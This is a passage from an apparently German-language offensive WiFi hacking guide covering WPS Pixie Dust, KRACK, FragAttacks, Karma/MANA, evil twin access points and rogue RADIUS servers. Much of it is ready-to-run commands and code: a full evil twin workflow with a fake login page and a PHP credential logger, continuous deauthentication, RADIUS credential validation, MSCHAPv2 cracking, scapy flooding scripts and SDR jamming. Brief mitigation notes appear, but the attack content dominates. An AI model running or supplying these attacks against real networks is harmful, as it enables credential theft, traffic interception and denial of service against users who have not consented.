tshark -i wlan0mon -f "type mgt subtype deauth"

# EAPOL Handshakes extrahieren
tshark -r capture.pcap -Y "eapol" -w handshakes.pcap

# AP-Liste generieren
tshark -r capture.pcap -Y "wlan.fc.type_subtype == 0x08" -T fields -e wlan.ssid -e wlan.bssid | sort -u

# Statistiken
tshark -r capture.pcap -z wlan,stat

# Decrypt WPA traffic (mit bekanntem Key)
tshark -r capture.pcap -o "wlan.enable_decryption:TRUE" -o "wlan.wep_keys:wpa-psk:SSID:password"

# Export specific fields zu CSV
tshark -r capture.pcap -T fields -e frame.time -e wlan.sa -e wlan.da -e wlan.ssid -E header=y -E separator=, > output.csv

Wireshark Decryption Setup:

Edit → Preferences → Protocols → IEEE 802.11

☑ Enable decryption

Decryption keys:
[Add new key]
Key type: wpa-pwd
Key: password:SSID

Oder für WEP:
Key type: wep
Key: 1234567890ABCDEF (Hex)

4-Way Handshake Analysis in Wireshark:

Filter: eapol

Message 1: Key Info = 0x008a (Key MIC=0, Secure=0, Install=0)
  - AP → Client
  - ANonce

Message 2: Key Info = 0x010a (Key MIC=1, Secure=0, Install=0)
  - Client → AP
  - SNonce + MIC

Message 3: Key Info = 0x13ca (Key MIC=1, Secure=1, Install=1)
  - AP → Client
  - GTK + MIC

Message 4: Key Info = 0x030a (Key MIC=1, Secure=1, Install=0)
  - Client → AP
  - ACK

4.6 Wifite2 (Automated Framework)

Installation:

git clone https://github.com/derv82/wifite2.git
cd wifite2
sudo python3 setup.py install

# Dependencies
sudo apt install aircrack-ng reaver bully pixiewps

Basic Usage:

# Auto-scan und Attack
sudo wifite

# WPA-only
sudo wifite --wpa

# WEP-only  
sudo wifite --wep

# WPS-only
sudo wifite --wps

# Spezifische Targets
sudo wifite --essid "TargetName"

# Power threshold (nur starke Signale)
sudo wifite --pow 50

# Custom wordlist
sudo wifite --dict /path/to/wordlist.txt

# Alle Optionen kombiniert
sudo wifite --wpa --pow 40 --dict rockyou.txt --kill

Wifite Features:

- Automatische AP-Sortierung (Signal, Clients, Encryption)
- Parallel attacks (WPS Pixie Dust + PIN + WPA)
- Handshake capture mit auto-deauth
- Cracking mit aircrack/hashcat/pyrit
- Session resume (--resume)
- GPS tagging (--gpsd)

4.7 WiFi Pineapple

Hardware:

Mark VII: ~$100, aktuellste Version
Tetra: ~$200, mehr Power
Nano: ~$100, kompakt

Features:
- Web UI (einfache Bedienung)
- Pre-installed Modules
- Client-side attacks
- Rogue AP
- MitM Platform

Wichtige Modules:

Evil Portal:

Captive Portal Framework
- Template-based Phishing Pages
- Credential Harvesting
- Fake Login Screens (Hotel WiFi, Flughafen, etc.)

Setup:
1. Enable Portal
2. Upload HTML Template
3. Clients werden auf Portal umgeleitet
4. Credentials loggen

PineAP:

Rogue AP Suite
- Beacon Response (antwortet auf Probe Requests)
- SSID Pool (bekannte SSIDs broadcasten)
- Karma Attack (automatisch)

Konfiguration:
- Enable SSID Broadcast
- Capture SSIDs from Probes
- Auto-respond to all Probes

Recon:

WiFi Site Survey
- Channel utilization
- Signal strength mapping
- Client tracking

Filters:

MAC Filtering
- Whitelist: Nur bestimmte Clients
- Blacklist: Clients blockieren
- Auto-learning

Command-Line Access:

# SSH zum Pineapple
ssh root@172.16.42.1

# Manual PineAP
pineap start
pineap status

# SSID Pool manipulieren
pineap pool add "Free-WiFi"
pineap pool list

# Logging
tail -f /tmp/pineap.log

5. Erweiterte Angriffstechniken

5.1 KRACK (Key Reinstallation Attack)

Technischer Hintergrund:

Problem: 4-Way Handshake erlaubt Replay von Message 3

Normal Flow:
AP → Client: Message 3 (GTK + nonce)
Client installiert GTK
Client → AP: Message 4 (ACK)

KRACK Attack:
AP → Client: Message 3
Client installiert GTK (nonce = N)
Client → AP: Message 4

Angreifer: Blockiert Message 4
AP sendet Message 3 erneut (Retry)
Client installiert GTK erneut (nonce = N wieder!)
→ Nonce Reuse!

Impact:
- Nonce Reuse → Keystream Recovery
- Replay Attacks möglich
- Decryption von Traffic

Praktischer Exploit (PoC):

git clone https://github.com/vanhoefm/krackattacks-scripts.git
cd krackattacks-scripts

# Setup
./setup.sh

# Test ob Client vulnerable
./krack-test-client.py

# Actual Attack
./krack-all-zero-tk.py

# Was passiert:
# 1. MitM zwischen Client und AP
# 2. Forward alle Frames außer Message 4
# 3. Trigger Reinstallation
# 4. Capture encrypted traffic
# 5. Decrypt mit known keystream

Detection:

# Client-side: Check für duplicated nonces
tcpdump -i wlan0 -e -s 0 -v 'wlan type data and wlan[0] & 0x40 != 0'

# Packets mit gesetztem Retry-Bit aber gleichem nonce = suspicious

Mitigation:

- Client/AP Firmware Updates (alle major vendors gepatched)
- Nonce Counter in Implementation
- Message 4 Timeout verkürzen

5.2 FragAttacks (Fragmentation & Aggregation Attacks)

CVE-2020-24588 – A-MSDU Vulnerability:

Problem: A-MSDU (Aggregated MAC Service Data Unit) nicht korrekt validiert

Angriff:
1. Client ist verbunden (encrypted connection)
2. Angreifer injected A-MSDU Frame mit:
   - Outer Header: Korrekte encrypted CCMP
   - Inner Frames: Arbitrary destination
3. AP de-aggregated und forwarded

Impact: 
- Injection in encrypted network
- Bypass von WiFi encryption

CVE-2020-24587 – Mixed Key Attack:

Problem: Fragmente mit unterschiedlichen Keys akzeptiert

Angriff:
1. Fragment 1: Mit Group Key verschlüsselt
2. Fragment 2: Mit Pairwise Key verschlüsselt  
3. Reassembly kombiniert beide

Impact:
- Injection attack
- Circumvent network access

Testing:

git clone https://github.com/vanhoefm/fragattacks.git
cd fragattacks

# Setup
./setup.sh

# Test alle Vulnerabilities
sudo ./fragattack-test.py --inject

# Spezifische Tests
sudo ./fragattack-test.py --test amsdu-inject
sudo ./fragattack-test.py --test mixed-key

Mitigation:

- Firmware Updates (kritisch!)
- Strikte Fragment Validation
- A-MSDU Parsing hardening

5.3 Beacon Flooding / SSID Pollution

Konzept:

Sende massive Beacon Frames mit:
- Hunderte verschiedene SSIDs
- Überlappende BSSIDs
- Fake Capabilities

Ziele:
1. Client Confusion (welches ist das echte Netzwerk?)
2. IDS/Scanner Überlastung
3. Denial of Service (CPU load)
4. Hidden Real AP (in Flood)

Praktisch mit mdk4:

# Installation
git clone https://github.com/aircrack-ng/mdk4.git
cd mdk4
make
sudo make install

# Beacon Flooding
mdk4 wlan0mon b -f ssids.txt -a -s 1000

# Parameter:
# b = Beacon Mode
# -f = SSID list file
# -a = alle verfügbaren Channels
# -s = Speed (packets/sec)

# Random SSIDs
mdk4 wlan0mon b -a -s 1000

# Mit Wireshark sehen:
# Hunderte SSIDs erscheinen und verschwinden

ssids.txt Beispiel:

Free-WiFi
Starbucks
McDonalds-WiFi
Hotel-Guest
Android-Hotspot-1234
FBI Surveillance Van
Pretty Fly for a WiFi
Wu Tang LAN

Advanced: Beacon mit evil payloads:

from scapy.all import *

def beacon_flood():
    while True:
        for ssid in ssid_list:
            pkt = RadioTap() / \
                  Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
                        addr2=RandMAC(), addr3=RandMAC()) / \
                  Dot11Beacon(cap="ESS") / \
                  Dot11Elt(ID="SSID", info=ssid) / \
                  Dot11Elt(ID="DSset", info=chr(random.randint(1,13)))

            sendp(pkt, iface="wlan0mon", verbose=0)

ssid_list = ["Evil-Corp-" + str(i) for i in range(100)]
beacon_flood()

5.4 Pixie Dust Attack (WPS)

WPS (Wi-Fi Protected Setup) Background:

Zwei Modi:
1. PBC (Push Button Configuration) - physischer Knopf
2. PIN (8-digit) - 0000 0000 bis 9999 9999

Problem:
PIN ist eigentlich nur 7 digits + Checksum
→ 10^7 = 10 Million mögliche PINs
Aber: Online Brute-Force dauert lange + Lockout

Pixie Dust nutzt Implementierungsfehler:
- Schwache RNG (Random Number Generator)
- Vorhersagbare Nonces
- Offline attack möglich!

Technischer Ablauf:

WPS Handshake:
1. Enrollee → Registrar: M1 (Public Key E-PK1, E-Nonce, E-Hash1)
2. Registrar → Enrollee: M2 (Public Key R-PK, R-Nonce, R-Hash1)

M1/M2 enthalten:
- PKE/PKR (Diffie-Hellman Public Keys)
- E-Nonce / R-Nonce
- E-Hash1 = HMAC(AuthKey, E-S1 || E-PK || R-PK)

Pixie Dust:
Wenn R-Nonce weak oder predictable:
→ AuthKey calculable
→ PIN recovery möglich

Praktisch mit Reaver + Pixiewps:

# 1. WPS-fähige APs finden
wash -i wlan0mon

# Output zeigt:
# BSSID              Channel  RSSI  WPS  Lck
# AA:BB:CC:DD:EE:FF  6        -42   2.0  No

# 2. Pixie Dust attempt
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K -vv

# -K = Pixie Dust mode
# -vv = Very verbose

# 3. Falls Pixie Dust failed: Regular PIN attack
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv -d 5 -T 0.5 -r 3:15

# -d 5 = Delay 5 sec between attempts (avoid lockout)
# -T 0.5 = Timeout 0.5 sec
# -r 3:15 = After 3 failures, wait 15 sec

# 4. Wenn gelockt: Warten oder...
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 --ignore-locks

Mit bully (alternative):

# Pixie Dust
bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -d

# Regular attack
bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -v 3

# Lock detection bypass
bully wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 --pixie --force

Pixiewps (standalone für Offline-Analysis):

# Wenn du PKE, PKR, E-Nonce, R-Nonce, E-Hash1, E-Hash2 hast
pixiewps -e <PKE> -r <PKR> -s <E-Hash1> -z <E-Hash2> -a <AuthKey> -n <E-Nonce>

# Meist aus Reaver/Bully Verbose Output extrahieren

Vulnerability Assessment:

Vulnerable Vendors (historically):
- Broadcom
- Ralink  
- Realtek (ältere Firmware)

Gepatcht in neueren Versionen, aber:
- Alte Router noch verbreitet
- Firmware nicht updated

5.5 Karma & MANA Attack (Client-side)

Karma Attack Konzept:

Idee: Clients senden Probe Requests für bekannte SSIDs
      → Angreifer antwortet auf ALLE Probes
      → Client verbindet automatisch

Problem:
- Client: "Kennt jemand 'Home-WiFi'?"
- Angreifer AP: "Ja, das bin ich!"
- Client: *verbindet sich*

Praktisch mit hostapd (modified):

# Karma-patched hostapd
git clone https://github.com/sensepost/hostapd-mana.git
cd hostapd-mana
make

# hostapd-mana.conf
interface=wlan0
driver=nl80211
ssid=FreeWiFi
channel=6
hw_mode=g

# Karma aktivieren
mana_wpaout=/tmp/hostapd.out
mana_credout=/tmp/hostapd.creds
mana_eapsuccess=1
mana_eaptls=1

# Antworte auf alle Probe Requests
mana_karma=1

# Loud Karma: Broadcaste gefundene SSIDs
mana_loud=1

# WPA
wpa=2
wpa_key_mgmt=WPA-PSK WPA-EAP
wpa_pairwise=TKIP CCMP
wpa_passphrase=irrelevant

# Startle
sudo ./hostapd-mana hostapd-mana.conf

MANA (Improved Karma):

MANA = More Advanced Network Attacks

Zusätzlich zu Karma:
1. EAP Credential Harvesting
2. Hostile Portal injection  
3. SSIDing (collect + broadcast SSIDs)
4. Combination with MitM tools

Mit WiFi Pineapple (einfacher):

PineAP Module:
1. Enable PineAP
2. Beacon Response: ON
3. Capture SSIDs from Probes: ON
4. Broadcast SSID Pool: ON
5. Log Probes: ON

→ Automatischer Karma/MANA attack
→ Web UI zeigt captured SSIDs
→ Clients verbinden automatisch

Defense:

Client-side:
- Auto-connect deaktivieren
- "Ask before connecting" aktivieren
- Vergessene Netzwerke löschen
- Keine Probes für Hidden Networks

iOS: Settings → WiFi → Ask to Join Networks: Ask
Android: Settings → WiFi → Advanced → Auto-connect: OFF
Windows: Disable "Connect automatically"

5.6 Evil Twin + Captive Portal (Full Workflow)

Komplettes Setup:

# ============================================
# Phase 1: Preparation
# ============================================

# Zwei WiFi Interfaces benötigt:
# wlan0 = Internet connection (oder Ethernet)
# wlan1 = Evil Twin AP

# Monitor Mode für Recon
airmon-ng start wlan1
# → wlan1mon

# Target identifizieren
airodump-ng wlan1mon

# Ziel: "Corporate-WiFi" auf Channel 6, BSSID: AA:BB:CC:DD:EE:FF

# ============================================
# Phase 2: Deauth Original AP (optional)
# ============================================

# Kontinuierliche Deauths um Clients zu forcieren
aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan1mon &
DEAUTH_PID=$!

# ============================================
# Phase 3: Evil Twin AP Setup
# ============================================

# Monitor Mode beenden, zurück zu managed
airmon-ng stop wlan1mon

# hostapd configuration
cat > /tmp/hostapd.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=Corporate-WiFi
channel=6
hw_mode=g
ieee80211n=1
wmm_enabled=1

# Open Network (erst mal)
# Später: WPA2 mit bekanntem oder geratenem Passwort
EOF

# ============================================
# Phase 4: DHCP Server
# ============================================

# IP für AP Interface
ip addr add 192.168.100.1/24 dev wlan1
ip link set wlan1 up

# dnsmasq für DHCP + DNS
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan1
dhcp-range=192.168.100.10,192.168.100.100,12h
dhcp-option=3,192.168.100.1
dhcp-option=6,192.168.100.1
server=8.8.8.8
log-queries
log-dhcp
address=/#/192.168.100.1
EOF

# DNS: Alle Requests zu unserer IP (Captive Portal)

# ============================================
# Phase 5: NAT / Internet Sharing (optional)
# ============================================

# IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# iptables NAT (wenn Internet via wlan0/eth0)
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPT
iptables -A FORWARD -i wlan0 -o wlan1 -m state --state RELATED,ESTABLISHED -j ACCEPT

# ============================================
# Phase 6: Captive Portal
# ============================================

# Webserver mit Phishing-Page
mkdir -p /var/www/html/portal
cd /var/www/html/portal

# index.html (Fake Login)
cat > index.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
    <title>Corporate WiFi - Authentication Required</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-box {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 40px rgba(0,0,0,0.3);
            width: 350px;
        }
        h2 {
            margin: 0 0 30px 0;
            color: #333;
            text-align: center;
        }
        input[type="text"],
        input[type="password"] {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 5px;
            box-sizing: border-box;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 20px;
        }
        button:hover {
            background: #5568d3;
        }
        .logo {
            text-align: center;
            margin-bottom: 20px;
            font-size: 48px;
        }
    </style>
</head>
<body>
    <div class="login-box">
        <div class="logo">🔐</div>
        <h2>WiFi Authentication</h2>
        <form action="login.php" method="POST">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Connect</button>
        </form>
    </div>
</body>
</html>
EOF

# login.php (Credential Logger)
cat > login.php << 'EOF'
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$timestamp = date('Y-m-d H:i:s');

// Log credentials
$log = "[$timestamp] IP: $ip | User: $username | Pass: $password\n";
file_put_contents('/tmp/credentials.log', $log, FILE_APPEND);

// Redirect nach "erfolgreichem" Login
// Option 1: Zu echtem Internet
header('Location: http://www.google.com');

// Option 2: Fake success page
// header('Location: success.html');

exit();
?>
EOF

# PHP Server starten (oder Apache/Nginx)
php -S 192.168.100.1:80 -t /var/www/html/portal &

# ============================================
# Phase 7: Captive Portal Detection Trigger
# ============================================

# Viele Geräte checken Captive Portals via:
# - http://connectivitycheck.gstatic.com/generate_204
# - http://www.apple.com/library/test/success.html
# - http://www.msftconnecttest.com/connecttest.txt

# iptables redirect (port 80 zu unserem Server)
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT --to-destination 192.168.100.1:80
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT --to-destination 192.168.100.1:80

# ============================================
# Phase 8: Start Everything
# ============================================

# hostapd starten
hostapd /tmp/hostapd.conf &

# dnsmasq starten
dnsmasq -C /tmp/dnsmasq.conf -d &

# ============================================
# Phase 9: Monitoring
# ============================================

# Watch credentials roll in
tail -f /tmp/credentials.log

# dnsmasq logs
tail -f /var/log/syslog | grep dnsmasq

# Connected clients
watch -n 1 'iw dev wlan1 station dump'

# ============================================
# Phase 10: Cleanup
# ============================================

# Kill processes
kill $DEAUTH_PID
killall hostapd dnsmasq php

# Flush iptables
iptables -t nat -F
iptables -F

# Stop IP forwarding
echo 0 > /proc/sys/net/ipv4/ip_forward

Advanced Variations:

A) SSL Strip Integration:

# sslstrip installation
apt install sslstrip

# Redirect HTTPS to HTTP
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 10000
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 10000

# Start sslstrip
sslstrip -l 10000 -w /tmp/sslstrip.log &

# Jetzt: HTTPS → HTTP downgrade
# Credentials in Klartext (aber Browser zeigt Warning)

B) DNS Spoofing (specific targets):

# In dnsmasq.conf:
address=/login.microsoft.com/192.168.100.1
address=/accounts.google.com/192.168.100.1
address=/login.yahoo.com/192.168.100.1

# User versucht legitime Sites zu öffnen
# → Bekommt unsere Phishing-Page

C) BeEF Integration (Browser Exploitation):

# BeEF (Browser Exploitation Framework)
cd /opt/beef
./beef

# In captive portal HTML:
<script src="http://192.168.100.1:3000/hook.js"></script>

# Nach "Login": Browser ist gehooked
# BeEF Control Panel: http://localhost:3000/ui/panel
# Commands:
# - Keylogging
# - Screenshot
# - Credential harvesting
# - Network reconnaissance
# - Social engineering attacks

D) Credential Validation (Advanced):

<?php
// login.php mit RADIUS check

$username = $_POST['username'];
$password = $_POST['password'];

// Versuche mit echtem RADIUS
// (braucht radius PHP extension)
$radius = radius_auth_open();
radius_add_server($radius, "10.0.0.1", 1812, "shared_secret", 3, 3);
radius_create_request($radius, RADIUS_ACCESS_REQUEST);
radius_put_attr($radius, RADIUS_USER_NAME, $username);
radius_put_attr($radius, RADIUS_USER_PASSWORD, $password);

$result = radius_send_request($radius);

if ($result == RADIUS_ACCESS_ACCEPT) {
    // Valid credentials! Log them
    file_put_contents('/tmp/valid_creds.log', "$username:$password\n", FILE_APPEND);

    // Forward to real AP (seamless handoff)
    // Oder: Give Internet access via NAT
    header('Location: http://www.google.com');
} else {
    // Invalid - show error
    header('Location: index.html?error=1');
}
?>

E) Automated mit Fluxion:

# Fluxion = All-in-one Evil Twin Framework
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion
./fluxion.sh

# Wizard führt durch:
# 1. Select target AP
# 2. Deauth clients
# 3. Evil Twin setup
# 4. Captive portal (verschiedene Templates)
# 5. Credential capture
# 6. Verify password gegen echtes AP
# 7. Report

# Templates:
# - Generic Login
# - Netgear Router Login
# - Linksys Router Login
# - Custom HTML

5.7 Rogue RADIUS Server (Enterprise)

Setup kompletter Evil Twin für 802.1X:

# ============================================
# FreeRADIUS-WPE Installation
# ============================================

apt install freeradius
git clone https://github.com/brad-anton/freeradius-wpe.git
cd freeradius-wpe
./configure
make
make install

# ============================================
# Zertifikate generieren
# ============================================

cd /etc/freeradius-wpe/certs
./bootstrap

# Oder custom CA:
openssl req -new -x509 -keyout ca.key -out ca.pem -days 365 -nodes
openssl req -new -keyout server.key -out server.csr -nodes
openssl x509 -req -in server.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out server.pem -days 365

# ============================================
# hostapd-wpe.conf
# ============================================

cat > /etc/hostapd-wpe/hostapd-wpe.conf << 'EOF'
interface=wlan1
driver=nl80211
ssid=Corporate-WiFi-Secure
channel=6
hw_mode=g

# WPA2-Enterprise
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1

# RADIUS Server (lokal)
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123

# EAP Configuration
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

# Certificates
ca_cert=/etc/freeradius-wpe/certs/ca.pem
server_cert=/etc/freeradius-wpe/certs/server.pem
private_key=/etc/freeradius-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius-wpe/certs/dh

# Logging
logger_syslog=-1
logger_stdout=-1
logger_stdout_level=0

# WPE specific
wpe_logfile=/tmp/hostapd-wpe.log
EOF

# ============================================
# EAP User File (Accept All)
# ============================================

cat > /etc/hostapd-wpe/hostapd-wpe.eap_user << 'EOF'
*     PEAP,TTLS,TLS,FAST
*     MSCHAPV2,MD5,GTC,PAP,CHAP   "password"   [2]
EOF

# ============================================
# FreeRADIUS-WPE Configuration
# ============================================

# /etc/freeradius-wpe/clients.conf
cat >> /etc/freeradius-wpe/clients.conf << 'EOF'
client hostapd {
    ipaddr = 127.0.0.1
    secret = testing123
    require_message_authenticator = no
    nastype = other
}
EOF

# /etc/freeradius-wpe/sites-enabled/default
# Enable WPE module in authorize/authenticate sections

# ============================================
# Start Services
# ============================================

# FreeRADIUS in debug mode
radiusd -X &

# hostapd-wpe
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# ============================================
# Captured Data
# ============================================

# MSCHAPv2 Challenges/Responses logged:
tail -f /tmp/hostapd-wpe.log

# Example output:
# mschap: Fri Nov 16 12:34:56 2024
#  username: john.doe
#  challenge: 11:22:33:44:55:66:77:88
#  response: aa:bb:cc:dd:ee:ff:00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff:00:11

# ============================================
# Crack MSCHAPv2
# ============================================

# Format für hashcat:
# username:::response:challenge

echo 'john.doe:::aabbccddeeff00112233445566778899aabbccddeeff0011:1122334455667788' > mschap.hash

# Crack mit hashcat
hashcat -m 5500 mschap.hash rockyou.txt

# ============================================
# Client Detection Evasion
# ============================================

# Clients prüfen oft Certificate Common Name
# → Muss zum echten AP-Namen passen

# Echten AP recon:
# 1. Mit legitimen Credentials verbinden
# 2. Certificate inspizieren (Wireshark oder Browser)
# 3. Common Name / Subject Alternative Names notieren
# 4. Eigenes Cert mit gleichem CN generieren

openssl req -new -x509 -keyout evil.key -out evil.pem -days 365 -nodes \
  -subj "/C=US/ST=State/L=City/O=Company/CN=radius.company.com"

Advanced: EAPOL Relay Attack:

Konzept:
1. Victim Client → Evil AP
2. Evil AP → Real AP (relay EAPOL)
3. Real AP authentifiziert
4. Evil AP bekommt GTK/PTK
5. Evil AP kann nun als legitimer Client agieren

Tool: eaphammer
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./setup.sh

# EAPOL Relay
./eaphammer --interface wlan1 \
            --essid "Corporate-WiFi" \
            --auth wpa-eap \
            --eapol-relay \
            --relay-interface wlan0 \
            --relay-essid "Corporate-WiFi"

# wlan0: verbunden mit echtem AP
# wlan1: Evil Twin für Victims
# Relay: EAPOL zwischen beiden

5.8 PMF Bypass / Management Frame Attacks

PMF (Protected Management Frames) – 802.11w:

Schützt Management Frames:
- Deauthentication
- Disassociation  
- Action Frames

Methode:
- BIP (Broadcast/Multicast Integrity Protocol)
- IGTK (Integrity Group Temporal Key)
- MIC am Ende des Frames

→ Angreifer kann nicht einfach Deauths senden

Testing ob PMF aktiv:

# Mit Wireshark:
# Beacon Frame → RSN Information Element
# → Look for "Management Frame Protection Required/Capable"

# Mit iw:
iw dev wlan0 scan | grep -A 10 "SSID: TargetNet" | grep "Management Frame Protection"

# Output:
# * Management Frame Protection: capable/required

PMF Bypass Techniques:

A) Downgrade Attack:

from scapy.all import *

def downgrade_pmf():
    # Fake Beacon ohne PMF capability
    beacon = RadioTap() / \
             Dot11(type=0, subtype=8, 
                   addr1="ff:ff:ff:ff:ff:ff",
                   addr2="aa:bb:cc:dd:ee:ff",  # Target AP BSSID
                   addr3="aa:bb:cc:dd:ee:ff") / \
             Dot11Beacon(cap="ESS+privacy") / \
             Dot11Elt(ID="SSID", info="TargetNetwork") / \
             Dot11Elt(ID="Rates", info="\x82\x84\x8b\x96\x0c\x12\x18\x24") / \
             Dot11Elt(ID="DSset", info=chr(6)) / \
             Dot11Elt(ID=48, info=(  # RSN IE ohne PMF
                 "\x01\x00"  # Version
                 "\x00\x0f\xac\x04"  # Group Cipher: CCMP
                 "\x01\x00\x00\x0f\xac\x04"  # Pairwise: CCMP
                 "\x01\x00\x00\x0f\xac\x02"  # AKM: PSK
                 "\x00\x00"  # RSN Capabilities (NO PMF!)
             ))

    # Continuous broadcast
    sendp(beacon, iface="wlan0mon", loop=1, inter=0.1)

# Problem: Clients die PMF required haben, verbinden nicht
# Aber: Clients mit "PMF capable" (optional) könnten downgraden

B) Association Flood (DoS):

# Auch mit PMF: Association Requests sind nicht geschützt
# → Resource exhaustion möglich

def assoc_flood():
    while True:
        pkt = RadioTap() / \
              Dot11(type=0, subtype=0,  # Association Request
                    addr1="aa:bb:cc:dd:ee:ff",  # AP
                    addr2=RandMAC(),  # Random Client
                    addr3="aa:bb:cc:dd:ee:ff") / \
              Dot11AssoReq(cap="ESS+privacy", listen_interval=10) / \
              Dot11Elt(ID="SSID", info="TargetNetwork") / \
              Dot11Elt(ID="Rates", info="\x82\x84\x8b\x96")

        sendp(pkt, iface="wlan0mon", verbose=0)

# AP muss jede Association bearbeiten → CPU load

C) Beacon Spoofing (Channel Switch):

# Channel Switch Announcement (auch mit PMF möglich bei schlecht implementiertem AP)

def channel_switch_attack():
    pkt = RadioTap() / \
          Dot11(type=0, subtype=8, 
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="aa:bb:cc:dd:ee:ff",  # Spoofed AP
                addr3="aa:bb:cc:dd:ee:ff") / \
          Dot11Beacon(cap="ESS+privacy") / \
          Dot11Elt(ID="SSID", info="TargetNetwork") / \
          Dot11Elt(ID=37, info="\x00\x01\x0b\x64")  # Channel Switch to 11
          # Mode=0, New Channel=11, Count=100

    sendp(pkt, iface="wlan0mon", loop=1, inter=0.1)

# Clients switchen zu Channel 11 → disconnected
# (funktioniert nur bei alten Implementierungen)

5.9 RF Layer Attacks (Physical Layer)

Jamming (Nur für authorized Testing!):

# Mit HackRF (SDR)
hackrf_transfer -t /dev/zero -f 2437000000 -s 20000000

# -t: Transmit mode
# -f: 2437 MHz = Channel 6 center frequency
# -s: Sample rate 20 MHz

# Resultat: Alle WiFi auf Channel 6 gestört

Selective Jamming:

# Mit USRP + GNU Radio
# Detect specific frame type → Jam nur diese

from gnuradio import gr, blocks, uhd

class SelectiveJammer(gr.top_block):
    def __init__(self):
        gr.top_block.__init__(self)

        # USRP Source (RX)
        self.usrp_source = uhd.usrp_source(
            device_addr="",
            stream_args=uhd.stream_args('fc32')
        )
        self.usrp_source.set_center_freq(2.437e9)  # Channel 6
        self.usrp_source.set_samp_rate(20e6)

        # USRP Sink (TX)
        self.usrp_sink = uhd.usrp_sink(
            device_addr="",
            stream_args=uhd.stream_args('fc32')
        )
        self.usrp_sink.set_center_freq(2.437e9)
        self.usrp_sink.set_samp_rate(20e6)

        # Detection + Jamming Logic
        # (simplified, actual implementation complex)

# Detect Beacon → Jam ACKs → Clients denken Netzwerk down

CTS/RTS Flooding:

from scapy.all import *

# Clear-to-Send Flood
def cts_flood():
    cts = RadioTap() / \
          Dot11(type=1, subtype=12,  # CTS
                addr1="ff:ff:ff:ff:ff:ff",
                ID=32767)  # Duration = max

    sendp(cts, iface="wlan0mon", loop=1, inter=0.00001)

# Alle Stations denken Medium ist busy → DoS

5.10 Automated Frameworks

Airgeddon (All-in-One):

git clone --depth 1 https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
bash airgeddon.sh

# Menu-driven:
# [1] Select interface
# [2] Put in monitor mode
# [3] Target selection
# [4] Attack menu:
#     - WPS attacks (Pixie Dust, PIN)
#     - WPA/WPA2 attacks (Handshake + crack)
#     - Evil Twin attacks
#     - Enterprise attacks
#     - DoS attacks
# [5] Offline decryption
# [6] Report generation

Wifiphisher (Social Engineering):

pip install wifiphisher

# Automated Evil Twin + Phishing
wifiphisher -aI wlan0 -jI wlan1 -e "Free-WiFi"

# -aI: AP interface
# -jI: Jamming interface (deauth real AP)
# -e: ESSID

# Scenarios:
# 1. Firmware Update (fake router update page)
# 2. OAuth Login
# 3. Browser Plugin Update

# Custom scenario:
wifiphisher --force-hostapd -e "Corporate" -p custom_scenario

# custom_scenario/
#   ├── config.ini
#   ├── html/
#   │   └── index.html
#   └── js/

WiFi-Pumpkin3 (Evil Twin Framework):

git clone https://github.com/P0cL4bs/wifipumpkin3.git
cd wifipumpkin3
pip install -r requirements.txt
python setup.py install

# Start
wifipumpkin3

# Commands:
wp3 > set interface wlan1
wp3 > set ssid "Free-Airport-WiFi"
wp3 > start

# Modules:
wp3 > use Captive-Portal
wp3 > set template OAuth
wp3 > run

wp3 > use PumpkinProxy
wp3 > set BeefInject
wp3 > run

# Web UI:
wp3 > webui
# Open: http://localhost:9000

6. Post-Exploitation

6.1 Traffic Analysis & MitM

SSL Strip 2.0 (HSTS Bypass):

# HSTS = HTTP Strict Transport Security
# Browser erzwingt HTTPS für bestimmte Domains

# sslstrip2 + dns2proxy
git clone https://github.com/byt3bl33d3r/sslstrip2.git
git clone https://github.com/LeonardoNve/dns2proxy.git

# dns2proxy starten (DNS Spoofing mit HSTS bypass)
python dns2proxy.py -i wlan1

# sslstrip2 starten
python sslstrip.py -l 10000 -w sslstrip.log

# iptables redirect
iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 10000
